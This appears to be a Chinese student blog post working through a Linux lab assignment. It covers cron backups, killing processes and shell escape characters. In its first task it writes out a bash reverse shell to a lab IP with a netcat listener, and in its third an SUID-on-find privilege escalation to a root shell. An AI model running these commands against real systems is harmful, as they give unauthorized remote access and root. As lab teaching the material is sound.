Linux基础大作业2
Linux基础大作业w2
1、使用反弹的shell创建uid为0的账户,非交互设置密码
在centos上启动反弹shell
bash -i >& /dev/tcp/192.168.227.129/1234 0>&1 |

kali监听,成功进入centos bash
nc -lvnp 1234 |

在kali上进行操作
新建用户user1
useradd user1 #新建用户user1 |

使用创建的用户user1 password 在centos尝试登录

成功进入系统

2、使用echo写入计划任务实现在八月的每周五的每一小时,每一分钟备份/var/log/secure要求文件名包含当前时间
echo "*/1 */1 * 8 5 /bin/cp /var/log/secure /path/to/backup/secure_$(date +\%F_\%H\%M\%S)" | crontab |

3、演示查找具有suid权限的可执行账户,实现提权
[root@centos ~]# find / -perm -4000 2>/dev/null #root权限下看一下那些具有suid权限的文件 |

没有发现find命令没有suid权限
which find #查看find命令文件位置在 /usr/bin/find |

sudo chmod u+s /usr/bin/find #在root账户下授予其suid权限 |

su - user1 #切换到user1账户 |

find . -exec /bin/bash -p \; #-p 使bash继承find命令的suid权限 |

4、编写死循环脚本,使用ps aux找到pid,利用kill命令关闭进程
vim 1.sh #编写脚本1.sh |

脚本内容

运行脚本后发现进入死循环

打开另一个终端
ps aux | grep "1.sh" #查找1.sh进程,发现进程pid为3280 |

kill -9 3280 #杀死死循环进程 |

查看第一个终端发现进程已被杀死,终端恢复正常

5、解释并演示转义符号的作用
在 Linux 中,转义符号(\)用于改变某些字符的默认解释,使其被视为普通字符或执行特殊操作。转义符号的主要作用是防止 shell 对某些特殊字符(如空格、$、&、* 等)的特殊处理
转义符号的作用
防止特殊字符被 shell 解析:
- 某些字符在 shell 中有特殊含义(如
*表示通配符,$用于变量引用)。使用\可以让这些字符被当作普通字符处理。 - 例如,
*通常匹配文件名,但\*会被视为字面上的星号。
- 某些字符在 shell 中有特殊含义(如
处理空格或特殊字符:
- 在文件名或命令中包含空格或特殊字符时,使用转义符号避免 shell 误解。
- 例如,文件名
1 1.txt需要写成1\ 1.txt。
在脚本或命令中启用特殊字符:
- 转义符号可以用来表示不可打印字符,如换行符
\n或制表符\t(常用于echo命令)。
- 转义符号可以用来表示不可打印字符,如换行符
在正则表达式或字符串中保留字符含义:
- 在某些工具(如
grep、sed)中,转义符号用于处理正则表达式中的特殊字符。
- 在某些工具(如
演示转义符号的使用
以下通过具体示例展示转义符号的作用,基于 Linux 的 Bash shell 环境。
示例 1:转义特殊字符
echo * # 尝试直接输出 *,shell 会将其解析为当前目录下的所有文件 |
输出:

示例 2:处理包含空格的文件名
touch "1 1.txt" # 创建一个带空格的文件名 |
输出:

示例 3:转义变量引用
my="test" # 定义一个变量 |
输出:

示例 4:使用转义符号表示特殊字符
\n 表示换行,\t 表示制表符,-e 选项让 echo 解析这些转义字符。
echo -e "1\n2\t3" # 使用 echo -e 启用转义字符解析 |
输出:

示例 5:在正则表达式中使用转义
. 在正则表达式中表示任意字符,使用 \. 转义后表示字面上的点号。
echo "test.txt" | grep \. # 在 grep 中查找包含点号 . 的行 |
输出:

单引号和双引号:
- 在单引号
''中,转义符号的作用有限,大部分特殊字符不会被解析 - 在双引号
""中,变量和转义字符会被解析
echo '1\n2'
# 输出:1\n2
echo -e "1\n2"
# 输出:1 换行 2输出:

- 在单引号
多重转义:
- 在正则表达式或脚本中,可能需要多重转义。例如,在
sed中匹配反斜杠本身需要写成\\\\
- 在正则表达式或脚本中,可能需要多重转义。例如,在
其他转义符号:
- 除了
\,单引号''和双引号""也可以用来避免特殊字符解析,但它们的作用与转义符号不同
echo '*'
# 输出:*
echo "*"
# 输出:*- 除了
输出:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ZHangJT的博客!






